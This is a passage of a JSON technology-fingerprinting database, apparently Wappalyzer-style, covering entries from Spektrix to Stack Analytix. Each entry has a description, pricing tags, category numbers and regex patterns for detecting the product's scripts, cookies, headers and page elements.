system putting audience insight at your fingertips.\",\n    \"icon\": \"Spektrix.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"spektrix(?:\\\\.com)?(?:_nb)?\\\\/(?:stable)?(?:libraries)?\\\\/(?:before-after)?(?:script)?(?:spektrix)?-?(?:web)?(?:component)?s?-?(?:basket-summary)?(?:donate)?(?:gift-vouchers)?(?:loader)?(?:login-status)?(?:memberships)?(?:merchandise)?(?:-es2015)?\\\\.js(?:\\\\?ver?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.spektrix.com\"\n  },\n  \"Sphinx\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Sphinx is a documentation generator for Python projects using reStructuredText.\",\n    \"dom\": {\n      \"div.sphinxsidebar > div.sphinxsidebarwrapper\": {\n        \"exists\": \"\"\n      },\n      \"p.sphinx-version\": {\n        \"text\": \"([\\\\d]+(?:\\\\.[\\\\d]+)*)\\\\;version:\\\\1\"\n      }\n    },\n    \"html\": [\n      \"Created using <a href=\\\"https?://(?:www\\\\.)?sphinx-doc\\\\.org/\\\">Sphinx</a> ([0-9.]+)\\\\.\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Sphinx.svg\",\n    \"js\": {\n      \"DOCUMENTATION_OPTIONS\": \"\",\n      \"SPHINX_HIGHLIGHT_ENABLED\": \"\",\n      \"SphinxHighlight\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.sphinx-doc.org\"\n  },\n  \"SpiceThemes SpicePress\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"SpicePress is a responsive and fully customizable business template by SpiceThemes.\",\n    \"icon\": \"SpiceThemes.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/spicepress(?:-pro)?/\"\n    ],\n    \"website\": \"https://spicethemes.com/spicepress-wordpress-theme\"\n  },\n  \"Spicy Rocket\": {\n    \"cats\": [\n      47\n    ],\n    \"cookies\": {\n      \"spicyrocket_session\": \"\"\n    },\n    \"description\": \"Spicy Rocket is a web design and digital development platform providing innovative solutions to enhance online business performance.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.spicyrocket\\\\.com/\"\n    ],\n    \"website\": \"https://spicyrocket.xyz\"\n  },\n  \"Spin-a-Sale\": {\n    \"cats\": [\n      100,\n      5\n    ],\n    \"description\": \"Spin-a-Sale adds the intensity of gamification to your site. Spin-a-Sale overlay displays a special prize wheel for visitors that you can fully configure.\",\n    \"icon\": \"Spin-a-Sale.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"client\\\\.spinasale\\\\.com/\"\n    ],\n    \"website\": \"https://spinasale.com\"\n  },\n  \"Spin.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Spin.js is a configurable JavaScript/CSS spinner serving as a resolution-independent loading indicator.\",\n    \"icon\": \"SpinJS.svg\",\n    \"js\": {\n      \"Spinner\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdnjs\\\\.cloudflare\\\\.com/ajax/libs/spin\\\\.js/([\\\\d\\\\.]+)/spin\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://spin.js.org\"\n  },\n  \"Spine.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Spine is a lightweight MVC library for building JavaScript web applications.\",\n    \"icon\": \"SpineJS.svg\",\n    \"js\": {\n      \"Spine\": \"\",\n      \"Spine.version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"pixi_spine.Spine\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://spine.github.io\"\n  },\n  \"Spinnakr\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Spinnakr is a startup with a platform designed to personalise messages on blogs and websites.\",\n    \"icon\": \"Spinnakr.png\",\n    \"js\": {\n      \"_spinnakr_site_id\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.spinnakr.com\"\n  },\n  \"SpiritShop\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"SPIRITSHOP_ID\": \"\"\n    },\n    \"description\": \"SpiritShop is an ecommerce plataform.\",\n    \"icon\": \"SpiritShop.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://spiritshop.com.br\"\n  },\n  \"Splide\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Splide.js is a lightweight, responsive, and customizable slider and carousel library for JavaScript.\",\n    \"icon\": \"Splide.svg\",\n    \"js\": {\n      \"Splide.STATES\": \"\",\n      \"Splide.name\": \"i\"\n    },\n    \"oss\": true,\n    \"website\": \"https://splidejs.com\"\n  },\n  \"Split\": {\n    \"cats\": [\n      85,\n      74\n    ],\n    \"description\": \"Split is a feature delivery platform that powers feature flag management, software experimentation, and continuous delivery.\",\n    \"icon\": \"Split.svg\",\n    \"js\": {\n      \"SPLITIO_API_KEY\": \"\",\n      \"split_shopper_client\": \"\",\n      \"split_visitor_client\": \"\",\n      \"splitio\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.split\\\\.io/(?:sdk/split-([\\\\d\\\\.]+)\\\\.min\\\\.js)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.split.io\"\n  },\n  \"SplitIt\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"SplitIt is a payment solution that divides a purchase into smaller monthly installments.\",\n    \"icon\": \"SplitIt.svg\",\n    \"js\": {\n      \"Splitit\": \"\",\n      \"wc_ga_pro.available_gateways.splitit\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.production\\\\.splitit\\\\.com/\"\n    ],\n    \"website\": \"https://www.splitit.com\"\n  },\n  \"Splitbee\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"splitbee.svg\",\n    \"js\": {\n      \"splitbee\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https://cdn\\\\.splitbee\\\\.io/sb\\\\.js\"\n    ],\n    \"website\": \"https://splitbee.io\"\n  },\n  \"SplittyPay\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"SplittyPay is an alternative payment platform designed for group reservations and purchases.\",\n    \"dom\": [\n      \"img[src*='splittypay']\"\n    ],\n    \"icon\": \"SplittyPay.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.splittypay.com\"\n  },\n  \"Splunk RUM\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Splunk RUM is a real-time, front-end user monitoring and troubleshooting.\",\n    \"icon\": \"Splunk.svg\",\n    \"js\": {\n      \"PLUMBR._core.selfURL\": \"browser\\\\.plumbr\\\\.io/pa(?:-early)?\\\\.js\",\n      \"PLUMBR._core.version\": \"^([\\\\d\\\\.]+).+$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"browser\\\\.plumbr\\\\.io/pa(?:-early)?\\\\.js\"\n    ],\n    \"website\": \"https://www.splunk.com/en_us/observability/real-user-monitoring.html\"\n  },\n  \"Splunkd\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Splunkd is the system process that handles indexing, searching, forwarding.\",\n    \"headers\": {\n      \"Server\": \"Splunkd\"\n    },\n    \"icon\": \"Splunk.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://splunk.com\"\n  },\n  \"Splutter AI\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Splutter AI is a platform that enables the creation of AI chatbots for websites.\",\n    \"icon\": \"SplutterAI.svg\",\n    \"js\": {\n      \"embeddedChatbotConfig.domain\": \"//splutter\\\\.ai\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.splutter.ai\"\n  },\n  \"Spoki\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Spoki is a WhatsApp conversational platform designed to provide marketing, sales, and customer support.\",\n    \"dom\": [\n      \"style#spoki-style-buttons\"\n    ],\n    \"icon\": \"Spoki.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.spoki\\\\.it/\"\n    ],\n    \"website\": \"https://spoki.it\"\n  },\n  \"SpotHopper\": {\n    \"cats\": [\n      51,\n      32,\n      75\n    ],\n    \"description\": \"SpotHopper is an all-in-one marketing and online revenue platform for restaurants.\",\n    \"icon\": \"SpotHopper.svg\",\n    \"js\": {\n      \"Spothopper\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.spotapps\\\\.co/\"\n    ],\n    \"website\": \"https://www.spothopperapp.com\"\n  },\n  \"SpotOn\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"SpotOn is a provider of point-of-sale systems and payment processing software tailored to fit your workflow.\",\n    \"icon\": \"SpotOn.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cdn\\\\.spoton\\\\.com\"\n    ],\n    \"website\": \"https://www.spoton.com\"\n  },\n  \"SpotX\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"SpotX is a video advertising platform.\",\n    \"dom\": {\n      \"link[href*='.spotxchange.com']\": {\n        \"attributes\": {\n          \"href\": \"\"\n        }\n      }\n    },\n    \"icon\": \"SpotX.png\",\n    \"js\": {\n      \"SpotX.VERSION\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.spotx\\\\.tv\"\n    ],\n    \"website\": \"https://www.spotx.tv\",\n    \"xhr\": [\n      \"\\\\.spotx(?:change|cdn)\\\\.com\"\n    ]\n  },\n  \"Spotify Web API\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Spotify Web API endpoints return JSON metadata about music artists, albums, and tracks, directly from the Spotify Data Catalogue.\",\n    \"dom\": [\n      \"link[href*='.spotify.com']\"\n    ],\n    \"icon\": \"Spotify.svg\",\n    \"js\": {\n      \"getSpotifyData\": \"\",\n      \"spotify_tracks\": \"\",\n      \"spotifyme\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://developer.spotify.com/documentation/web-api\"\n  },\n  \"Spotify Widgets\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Spotify Widgets provide an embeddable view of a track, artist, album, user, playlist, podcast or episode for use within your web project.\",\n    \"dom\": [\n      \"iframe[src*='open.spotify.com/']\"\n    ],\n    \"icon\": \"Spotify.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://developer.spotify.com/documentation/widgets\"\n  },\n  \"Spotii\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Spotii is a tech-enabled payments platform where anyone can Shop Now and Pay Later with absolutely zero interest or cost.\",\n    \"icon\": \"Spotii.svg\",\n    \"js\": {\n      \"spotiiConfig\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.spotii\\\\.me\"\n    ],\n    \"website\": \"https://www.spotii.com/\"\n  },\n  \"Spotler Activate\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Spotler Activate is a customer data platform (CDP) that provides technical capabilities for data collection, segmentation, audience targeting, campaign orchestration, and analytics, empowering businesses to personalise customer experiences and optimise marketing efforts.\",\n    \"icon\": \"SpotlerActivate.svg\",\n    \"js\": {\n      \"sqzlCommon.getVariantName\": \"\",\n      \"sqzlPersonalization\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//squeezely\\\\.tech/\"\n    ],\n    \"website\": \"https://spotleractivate.com\"\n  },\n  \"Spotzer\": {\n    \"cats\": [\n      54\n    ],\n    \"description\": \"Spotzer is a platform offering solutions for crafting online content that garners high exposure on search engines and social networks.\",\n    \"icon\": \"Spotzer.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.spotzer\\\\.com/\"\n    ],\n    \"website\": \"https://spotzerdigital.com\"\n  },\n  \"Spotzi\": {\n    \"cats\": [\n      10,\n      79\n    ],\n    \"description\": \"Spotzi is a provider of geomarketing solutions, focusing on data analytics and marketing.\",\n    \"icon\": \"Spotzi.svg\",\n    \"js\": {\n      \"Spotzi\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^Spotzi$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.spotzi.com\"\n  },\n  \"Spreadr\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Spreadr is a tool that imports complementary products from Amazon into an online store.\",\n    \"icon\": \"Spreadr.svg\",\n    \"js\": {\n      \"spreadrCode\": \"\",\n      \"spreadrmsieversion\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://spreadr.co\"\n  },\n  \"Spree\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:spreecommerce:spree:*:*:*:*:*:*:*:*\",\n    \"description\": \"Spree is an open-source ecommerce framework built with Ruby on Rails, providing a customisable and modular platform for building online storefronts.\",\n    \"html\": [\n      \"(?:<link[^>]*/assets/store/all-[a-z\\\\d]{32}\\\\.css[^>]+>|<script>\\\\s*Spree\\\\.(?:routes|translations|api_key))\"\n    ],\n    \"icon\": \"Spree.svg\",\n    \"implies\": [\n      \"Ruby on Rails\"\n    ],\n    \"js\": {\n      \"Spree\": \"\",\n      \"SpreeAPI\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://spreecommerce.org\"\n  },\n  \"Sprig\": {\n    \"cats\": [\n      73,\n      10\n    ],\n    \"description\": \"Sprig is a UX analysis and management tool to understand what motivates customers to sign up, engage, and remain loyal to products.\",\n    \"icon\": \"Sprig.svg\",\n    \"js\": {\n      \"UserLeap\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.userleap\\\\.com/\"\n    ],\n    \"website\": \"https://sprig.com\"\n  },\n  \"Sprig plugin\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Sprig is a free plugin for Craft CMS that allows you to create reactive components from Twig templates ​or PHP classes.\",\n    \"dom\": [\n      \"form[sprig], button[sprig], input[sprig], div.sprig-component\"\n    ],\n    \"icon\": \"Sprig plugin.svg\",\n    \"requires\": [\n      \"Craft CMS\"\n    ],\n    \"website\": \"https://putyourlightson.com/plugins/sprig\"\n  },\n  \"Spring\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Spring is a comprehensive framework for building enterprise-level Java applications, providing tools and infrastructure for application development, including dependency injection, transaction management, and integration with various technologies.\",\n    \"headers\": {\n      \"X-Application-Context\": \"\"\n    },\n    \"icon\": \"Spring.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://spring.io\"\n  },\n  \"Spring Metrics\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Spring Metrics is an online learning platform for management software in the hospitality industry.\",\n    \"js\": {\n      \"_springMetq\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://springmetrics.com\"\n  },\n  \"Spring for creators\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_teespring_session_5\": \"\"\n    },\n    \"description\": \"Spring for creators (formerly Teespring) is a creator-centric social ecommerce platform.\",\n    \"dom\": [\n      \"link[href*='teespring.com/'][rel='canonical']\"\n    ],\n    \"icon\": \"Spring for creators.svg\",\n    \"js\": {\n      \"webpackJsonpteespring-custom-storefront\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.creator-spring\\\\.com/\"\n    ],\n    \"website\": \"https://www.spri.ng\"\n  },\n  \"Sprinklr\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Sprinklr is a customer experience management platform that unifies front-office teams, tools, and touchpoints using AI technology.\",\n    \"icon\": \"Sprinklr.svg\",\n    \"js\": {\n      \"sprChat\": \"\",\n      \"sprChatSettings\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sprinklr\\\\.com/\"\n    ],\n    \"website\": \"https://www.sprinklr.com\"\n  },\n  \"SprintHub\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"SprintHub is an all-in-one marketing platform.\",\n    \"icon\": \"SprintHub.svg\",\n    \"js\": {\n      \"SprintHUB\": \"\",\n      \"SprintHUBLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sprinthub\\\\.io/\"\n    ],\n    \"website\": \"https://lp.sprinthub.com\"\n  },\n  \"SpriteSpin\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"SpriteSpin is a JavaScript plugin that enables users to create 360-degree image spin animations on their websites.\",\n    \"icon\": \"SprintHub.svg\",\n    \"js\": {\n      \"SpriteSpin\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/giniedp/spritespin\"\n  },\n  \"Sprocket\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"_sprocket_\": \"\"\n    },\n    \"description\": \"Sprocket is an analytics and tracking system from Japan.\",\n    \"icon\": \"Sprocket.svg\",\n    \"js\": {\n      \"sprocketMunicipalities\": \"\",\n      \"sprocketSpots\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.sprocket\\\\.bz/\"\n    ],\n    \"website\": \"https://www.sprocket.bz\"\n  },\n  \"Spryker\": {\n    \"cats\": [\n      6,\n      62\n    ],\n    \"description\": \"Spryker is a ecommerce technology platform that enables global enterprises to build transactional business models.\",\n    \"icon\": \"Spryker.svg\",\n    \"js\": {\n      \"spryker.config\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"spryker\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"poa\"\n    ],\n    \"saas\": false,\n    \"website\": \"https://www.spryker.com\"\n  },\n  \"SpurIT\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"SpurIT is a team of certified Shopify experts which provide ecommerce software solutions.\",\n    \"icon\": \"SpurIT.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"Spurit.global.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-spurit\\\\.com/shopify-apps/\"\n    ],\n    \"website\": \"https://spur-i-t.com\"\n  },\n  \"SpurIT Abandoned Cart Reminder\": {\n    \"cats\": [\n      98,\n      100\n    ],\n    \"description\": \"SpurIT Abandoned Cart Reminder bring back your Shopify store visitors who moved to another tab by blinking your store tab.\",\n    \"icon\": \"SpurIT.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"ACR_SPURIT_Params.folderCss\": \"cdn-spurit\\\\.com/shopify-apps/abandoned-cart-reminder/\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-spurit\\\\.com/shopify-apps/abandoned-cart-reminder/\"\n    ],\n    \"website\": \"https://spur-i-t.com/shopify-apps/abandoned-cart-reminder/\"\n  },\n  \"SpurIT Loyalty App\": {\n    \"cats\": [\n      84,\n      94,\n      100\n    ],\n    \"description\": \"SpurIT Loyalty App is a turnkey solution allowing you to reward existing customers in a number of ways.\",\n    \"icon\": \"SpurIT.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"Spurit.Loyaltypoints\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-spurit\\\\.com/shopify-apps/loyaltypoints/\"\n    ],\n    \"website\": \"https://spur-i-t.com/shopify-apps/loyalty-points-manager\"\n  },\n  \"SpurIT Partial Payments App\": {\n    \"cats\": [\n      41,\n      100\n    ],\n    \"description\": \"SpurIT Partial Payments App allow your customers to pay for the order in several ways or to share a payment with other people.\",\n    \"icon\": \"SpurIT.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-spurit\\\\.com/shopify-apps/split-payments/\"\n    ],\n    \"website\": \"https://spur-i-t.com/shopify-apps/split-partial-payments/\"\n  },\n  \"SpurIT Recurring Payments App\": {\n    \"cats\": [\n      41,\n      100\n    ],\n    \"description\": \"SpurIT Recurring Payments App is a simple way to create a system of bill payment,subscriptions and invoicing.\",\n    \"icon\": \"SpurIT.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"Spurit.recurringInvoices\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn-spurit\\\\.com/shopify-apps/recurring-invoices/\"\n    ],\n    \"website\": \"https://spur-i-t.com/shopify-apps/recurring-order-subscription\"\n  },\n  \"Sqreen\": {\n    \"cats\": [\n      16,\n      19\n    ],\n    \"description\": \"Sqreen is the application security platform for the modern enterprise. Acquired by Datadog in Apr 2021.\",\n    \"headers\": {\n      \"X-Protected-By\": \"^Sqreen$\"\n    },\n    \"icon\": \"Sqreen.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://sqreen.io\"\n  },\n  \"Squadata\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"Squadata provides data based marketing and advertising solutions including email retargeting, CRM onboarding, data monetisation, data management platform.\",\n    \"icon\": \"Squadata.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//asset\\\\.easydmp\\\\.net/\"\n    ],\n    \"website\": \"https://www.squadata.net\"\n  },\n  \"Squadded\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Squadded is a social ecommerce solution that allows visitors to shop together with their friends and with other members of the brands online community.\",\n    \"icon\": \"Squadded.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"static\\\\.squadded\\\\.co\"\n    ],\n    \"website\": \"https://www.squadded.co\"\n  },\n  \"Square\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Square is a mobile payment company that offers business software, payment hardware products and small business services.\",\n    \"icon\": \"Square.svg\",\n    \"js\": {\n      \"SqPaymentForm\": \"\",\n      \"Square.Analytics\": \"\",\n      \"__BOOTSTRAP_STATE__.storeInfo.square_application_id\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.squareup\\\\.com\"\n    ],\n    \"website\": \"https://squareup.com/\",\n    \"xhr\": [\n      \"\\\\.squareup\\\\.com\"\n    ]\n  },\n  \"Square Online\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Square Online is a subscription based service that provides ecommerce solutions to small and medium sized businesses.\",\n    \"icon\": \"Square.svg\",\n    \"implies\": [\n      \"Weebly\"\n    ],\n    \"js\": {\n      \"APP_ORIGIN\": \"square\\\\.online\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Weebly\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://squareup.com/us/en/online-store\"\n  },\n  \"Squarespace\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Squarespace provides Software-as-a-Service (SaaS) for website building and hosting, and allows users to use pre-built website templates.\",\n    \"headers\": {\n      \"server\": \"Squarespace\"\n    },\n    \"icon\": \"Squarespace.svg\",\n    \"js\": {\n      \"Squarespace\": \"\",\n      \"Static.SQUARESPACE_CONTEXT.templateVersion\": \"^(\\\\d(?:\\\\.\\\\d)?)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.squarespace.com\"\n  },\n  \"Squarespace Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Squarespace Commerce is an ecommerce platform designed to facilitate the creation of websites and online stores, with domain registration and web hosting included.\",\n    \"headers\": {\n      \"server\": \"Squarespace\"\n    },\n    \"icon\": \"Squarespace.svg\",\n    \"implies\": [\n      \"Squarespace\"\n    ],\n    \"js\": {\n      \"SQUARESPACE_ROLLUPS.squarespace-commerce\": \"\",\n      \"Static.SQUARESPACE_CONTEXT.templateVersion\": \"^(\\\\d(?:\\\\.\\\\d)?)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.squarespace\\\\.\\\\w+/universal/scripts-compressed/commerce-\\\\w+-min\\\\.[\\\\w+\\\\-]+\\\\.js\"\n    ],\n    \"website\": \"https://www.squarespace.com/ecommerce-website\"\n  },\n  \"Squeezely\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Squeezely is a customer data platform (CDP) that provides technical capabilities for data collection, segmentation, audience targeting, campaign orchestration, and analytics, empowering businesses to personalise customer experiences and optimise marketing efforts.\",\n    \"icon\": \"Squeezely.svg\",\n    \"js\": {\n      \"sqzlCommon.getVariantName\": \"\",\n      \"sqzlPersonalization\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//squeezely\\\\.tech/\"\n    ],\n    \"website\": \"https://www.squeezely.tech\"\n  },\n  \"Squire\": {\n    \"cats\": [\n      72,\n      53,\n      41\n    ],\n    \"description\": \"Squire is a business management platform for barbershops, offering appointment scheduling, payment processing, and customer relationship management tools​.\",\n    \"icon\": \"Squire.svg\",\n    \"js\": {\n      \"SquireWidget\": \"\",\n      \"_squireQueryClient\": \"\",\n      \"_squireWidgetConfig\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getsquire.com\"\n  },\n  \"SquirrelMail\": {\n    \"cats\": [\n      30\n    ],\n    \"cpe\": \"cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*\",\n    \"description\": \"SquirrelMail is an open-source web-mail package that is based on PHP language. It provides a web-based-email client and a proxy server for IMAP protocol.\",\n    \"html\": [\n      \"<small>SquirrelMail version ([.\\\\d]+)[^<]*<br \\\\;version:\\\\1\"\n    ],\n    \"icon\": \"SquirrelMail.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"squirrelmail_loginpage_onload\": \"\"\n    },\n    \"url\": [\n      \"/src/webmail\\\\.php(?:$|\\\\?)\"\n    ],\n    \"website\": \"https://squirrelmail.org\"\n  },\n  \"Squiz Matrix\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:squiz:matrix:*:*:*:*:*:*:*:*\",\n    \"description\": \"A flexible, low-code enterprise content management system designed to manage multiple sites with many editors.\",\n    \"dom\": [\n      \"link[href*='/__data/assets/css_file/']\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Squiz Matrix\"\n    },\n    \"html\": [\n      \"<!--\\\\s+Running (?:MySource|Squiz) Matrix\"\n    ],\n    \"icon\": \"Squiz Matrix.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Squiz Matrix\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"/__data/assets/(js_file_folder|git_bridge|js_file)/\"\n    ],\n    \"website\": \"https://www.squiz.net/matrix\"\n  },\n  \"Sqwiz\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Sqwiz is a tool that uses previously entered business information, such as name, contact details, and Facebook posts, to build a mobile-ready website.\",\n    \"icon\": \"Sqwiz.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//sqwiz\\\\.com/Scripts/\"\n    ],\n    \"website\": \"https://sqwiz.com\"\n  },\n  \"Stack Analytix\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Stack 